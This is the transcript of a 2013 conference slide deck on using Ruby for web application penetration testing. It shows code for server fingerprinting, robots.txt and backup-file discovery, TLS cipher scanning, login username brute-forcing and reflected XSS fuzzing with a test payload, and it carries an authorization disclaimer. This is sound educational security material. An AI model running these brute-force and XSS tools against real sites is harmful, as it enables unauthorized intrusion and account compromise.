Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Solid as Diamond: use ruby on a web application penetration test (for www.fdtict.it)

Paolo Perego
September 18, 2013

Solid as Diamond: use ruby on a web application penetration test (for www.fdtict.it)

Paolo Perego

September 18, 2013
Tweet

More Decks by Paolo Perego

Other Decks in Programming

Transcript

  1. Solid as Diamond
    Using Ruby in a web application penetration test
    Wednesday, September 18, 13

    View full-size slide

  2. self.inspect
    • I do stuff: husband, proud father
    && martial artist
    • I break other people code for living
    (only when authorized)
    • I blog at: http://armoredcode.com
    • I’m on github too: https://
    github.com/thesp0nge
    • I love twitter: @thesp0nge,
    @armoredcode
    2
    Wednesday, September 18, 13

    View full-size slide

  3. talk.inspect
    • Owasp Top 10 2013
    • Ruby code to...
    • Leverage a web application attack surface
    • Bruteforce authentication mechanism
    • Look for Cross site scripting
    3
    Wednesday, September 18, 13

    View full-size slide

  4. Disclaimer
    4
    Attack only sites you’re authorized to
    Wednesday, September 18, 13

    View full-size slide

  5. Change your mindset. You’re an attacker now!
    5
    Your web application is a blackbox
    You’ve got only a URL as a starting point
    (optional) You may have a valid user, instead you have to register a
    user to the application
    Good luck!
    Wednesday, September 18, 13

    View full-size slide

  6. It all starts with...
    6
    ... someone wants to publish a new web
    application on the Internet or on an Internal
    network, she gives me the url saying:
    “test it for security issues, please”...
    Wednesday, September 18, 13

    View full-size slide

  7. Our target
    7
    Wednesday, September 18, 13

    View full-size slide

  8. The Owasp Top 10 - 2013
    8
    • A1 – Injection
    • A2 – Broken Authentication and Session Management
    • A3 – Cross-Site Scripting (XSS)
    • A4 – Insecure Direct Object References
    • A5 – Security Misconfiguration
    • A6 – Sensitive Data Exposure
    • A7 – Missing Function Level Access Control
    • A8 – Cross-Site Request Forgery (CSRF)
    • A9 – Using Known Vulnerable Components
    • A10 – Unvalidated Redirects and Forwards
    https://www.owasp.org/index.php/Top_10_2013
    Wednesday, September 18, 13

    View full-size slide

  9. Leverage your attack surface
    9
    Wednesday, September 18, 13

    View full-size slide

  10. Leverage your attack surface
    10
    Spot attack entrypoints:
    (robots.txt and url
    discovery with bruteforce)
    Fingerprint your target
    Check transport layer
    security
    Check for the service door
    (backup files)
    Wednesday, September 18, 13

    View full-size slide

  11. Fingerprint your target
    11
    • Meta generator tag
    • Server HTTP response field
    • X-Powered-by HTTP response field
    • Popular pages with extension (login.do,
    index.jsp, main.asp, login.php, phpinfo.php...)
    • The HTTP response field order (soon it will be
    implemented in the gengiscan gem)
    Wednesday, September 18, 13

    View full-size slide

  12. Fingerprint your target
    12
    def detect(url)
    uri = URI(url)
    begin
    res = Net::HTTP.get_response(uri)
    {:status=>:OK, :code=>res.code, :server=>res['Server'],
    :powered=>res['X-Powered-By'], :generator=>get_generator_signature(res)}
    rescue
    {:status=>:KO, :code=>nil, :server=>nil, :powered=>nil, :generator=>nil}
    end
    end
    def get_generator_signature(res)
    generator = ""
    doc=Nokogiri::HTML(res.body)
    doc.xpath("//meta[@name='generator']/@content").each do |value|
    generator = value.value
    end
    generator
    end
    $ gem install gengiscan
    $ gengiscan http://localhost:4567
    {:status=>:OK, :code=>"404", :server=>"WEBrick/1.3.1 (Ruby/
    1.9.3/2012-04-20)", :powered=>nil, :generator=>""}
    Wednesday, September 18, 13

    View full-size slide

  13. Spot attack entrypoints
    13
    robots.txt to discover
    to fingerprint
    Wednesday, September 18, 13

    View full-size slide

  14. Spot attack entrypoints
    14
    # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
    def self.robots(site)
    site = 'http://'+site unless site.start_with? 'http://' or site.start_with? 'https://'
    allow_list = []
    disallow_list = []
    begin
    res=Net::HTTP.get_response(URI(site+'/robots.txt'))
    return {:status=>:KO, :allow_list=>[],
    :disallow_list=>[],
    :error=>"robots.txt response code was #{res.code}"} if (res.code != "200")
    res.body.split("\n").each do |line|
    disallow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('disallow'))
    allow_list << line.split(":")[1].strip.chomp if (line.downcase.start_with?('allow'))
    end
    rescue Exception => e
    return {:status=>:KO, :allow_list=>[], :disallow_list=>[], :error=>e.message}
    end
    {:status=>:OK, :allow_list=>allow_list, :disallow_list=>disallow_list, :error=>""}
    end
    $ gem install codesake_links
    $ links -r http://localhost:4567
    Wednesday, September 18, 13

    View full-size slide

  15. Spot attack entrypoints
    15
    • Use a dictionary to discover URLs with
    bruteforce
    • Very intrusive attack... you’ll be busted, be
    aware
    $ gem install codesake_links
    $ links -b test_case_dir_wordlist.txt http://localhost:4567
    Wednesday, September 18, 13

    View full-size slide

  16. Check transport layer security
    16
    $ gem install ciphersurfer
    $ ciphersurfer www.gmail.com
    Evaluating secure communication with www.gmail.com:443
    Overall evaluation : B (76.5)
    Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (55)
    Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (80)
    Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (90)
    Evaluate an SSL connection for:
    • protocols the server supports
    • cipher length
    • certificate key length
    Wednesday, September 18, 13

    View full-size slide

  17. Check transport layer security
    17
    def go
    context=OpenSSL::SSL::SSLContext.new(@proto)
    cipher_set = context.ciphers
    cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
    request = Net::HTTP.new(@host, @port)
    request.use_ssl = true
    request.verify_mode = OpenSSL::SSL::VERIFY_NONE
    request.ciphers= cipher_name
    begin
    response = request.get("/")
    @ok_bits << bits
    @ok_ciphers << cipher_name
    rescue OpenSSL::SSL::SSLError => e
    # Quietly discard SSLErrors, really I don't care if the cipher has
    # not been accepted
    rescue
    # Quietly discard all other errors... you must perform all error
    # chekcs in the calling program
    end
    end
    end
    protocol_version.each do |version|
    s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version})
    s.go
    if (s.ok_ciphers.size != 0)
    supported_protocols << version
    cipher_bits = cipher_bits | s.ok_bits
    ciphers = ciphers | s.ok_ciphers
    end
    end
    Wednesday, September 18, 13

    View full-size slide

  18. Check for the service door
    18
    require 'anemone'
    require 'httpclient'
    h=HTTPClient.new()
    Anemone.crawl(ARGV[0]) do |anemone|
    anemone.on_every_page do |page|
    response = h.get(page.url)
    puts "Original: #{page.url}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
    puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat(".old"))
    puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat("~"))
    puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
    end
    end
    Wednesday, September 18, 13

    View full-size slide

  19. Demo
    19
    Wednesday, September 18, 13

    View full-size slide

  20. Bruteforce authentication
    mechanism
    20
    Wednesday, September 18, 13

    View full-size slide

  21. Am I vulnerable?
    21
    Wednesday, September 18, 13

    View full-size slide

  22. Am I vulnerable?
    22
    Wednesday, September 18, 13

    View full-size slide

  23. How do I break this?
    23
    1. Use an existing user to check the HTML

    Wrong password for admin user

    2. Place a canary string to anonymize the
    output

    Wrong password for canary_username
    user

    3. Submit the post and check if the response is the
    one expected with the canary substituted

    Wrong password for tom user

    Wednesday, September 18, 13

    View full-size slide

  24. How do I break this?
    24
    def post(url, username, password)
    agent = Mechanize.new
    agent.user_agent_alias = 'Mac Safari'
    agent.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE
    username_set = false
    password_set = false
    page = agent.get(url)
    page.forms.each do |form|
    form.fields.each do |field|
    if field.name.downcase == 'username' or field.name.downcase== 'login'
    username_set = true
    field.value = username
    end
    if field.name.downcase == 'password' or field.name.downcase== 'pass' or
    field.name.downcase== 'pwd'
    password_set = true
    field.value = password
    end
    end
    return agent.submit(form) if username_set and password_set
    end
    return nil
    end
    Wednesday, September 18, 13

    View full-size slide

  25. How do I break this?
    25
    log("existing user #{username} used as canary")
    wrong_pwd = post(url, username, "caosintheground").body.gsub(username, 'canary_username')
    wrong_creds = post(url, "caostherapy", "caosintheground").body.gsub("caostherapy",
    "canary_username")
    if ! line.start_with?("#")
    sleep(@sleep_time)
    log("awake... probing with: #{line}")
    r= post(url, line, ".4nt4n1")
    found << line if r.body == wrong_pwd.gsub("canary_username", line)
    end
    Wednesday, September 18, 13

    View full-size slide

  26. Demo
    26
    Wednesday, September 18, 13

    View full-size slide

  27. Look for Cross Site Scripting
    (reflected)
    27
    Wednesday, September 18, 13

    View full-size slide

  28. Look for Cross Site Scripting
    28
    Wednesday, September 18, 13

    View full-size slide

  29. Look for Cross Site Scripting
    29
    Wednesday, September 18, 13

    View full-size slide

  30. Look for Cross Site Scripting
    30
    • In GETs
    • Submit the attack payload as parameter in the query string
    • Parse HTML and check if payload is in the script nodes
    • In POSTs
    • Get the page
    • Find the form(s)
    • Fill the form input values with attack payload
    • Submit the form
    • Parse HTML and check if payload is in the script nodes
    Wednesday, September 18, 13

    View full-size slide

  31. Look for Cross Site Scripting
    31
    attack_url = Cross::Url.new(url)
    Cross::Attack::XSS.each do |pattern|
    attack_url.params.each do |par|
    page = @agent.get(attack_url.fuzz(par[:name],pattern))
    @agent.log.debug(page.body) if debug?
    scripts = page.search("//script")
    scripts.each do |sc|
    found = true if sc.children.text.include?("alert('cross canary')")
    @agent.log.debug(sc.children.text) if @options[:debug]
    end
    attack_url.reset
    end
    end
    Exploiting GETs...
    $ gem install cross
    $ cross -u http://localhost:4567/hello?name=paolo
    Wednesday, September 18, 13

    View full-size slide

  32. Look for Cross Site Scripting
    32
    begin
    page = @agent.get(url)
    rescue Mechanize::UnauthorizedError
    puts 'Authentication failed. Giving up.'
    return false
    rescue Mechanize::ResponseCodeError
    puts 'Server gave back 404. Giving up.'
    return false
    end
    puts "#{page.forms.size} form(s) found" if debug?
    page.forms.each do |f|
    f.fields.each do |ff|
    ff.value = "alert('cross canary');"
    end
    pp = @agent.submit(f)
    puts "#{pp.body}" if debug?
    scripts = pp.search("//script")
    scripts.each do |sc|
    found = true if sc.children.text == "alert('cross canary');"
    end
    end
    Exploiting POSTs...
    $ gem install cross
    $ cross http://localhost:4567/login
    Wednesday, September 18, 13

    View full-size slide

  33. Demo
    33
    Wednesday, September 18, 13

    View full-size slide

  34. What we learnt
    34
    • Don’t trust your users
    • “Security through obscurity” is EVIL
    • Testing for security issues is a mandatory
    step before deploy
    • HTTPS won’t safe from XSS or SQL Injections
    Wednesday, September 18, 13

    View full-size slide

  35. Some links before we leave
    35
    http://armoredcode.com/blog/categories/pentest-with-ruby/
    https://github.com/codesake
    http://ronin-ruby.github.com/
    https://github.com/rapid7/metasploit-framework
    http://www.owasp.org
    http://brakemanscanner.org/
    Not mine, here because they’re
    cool
    http://www.youtube.com/user/armoredcodedotcom
    Wednesday, September 18, 13

    View full-size slide

  36. Questions?
    36
    Wednesday, September 18, 13

    View full-size slide

  37. Thank you!
    37
    Wednesday, September 18, 13

    View full-size slide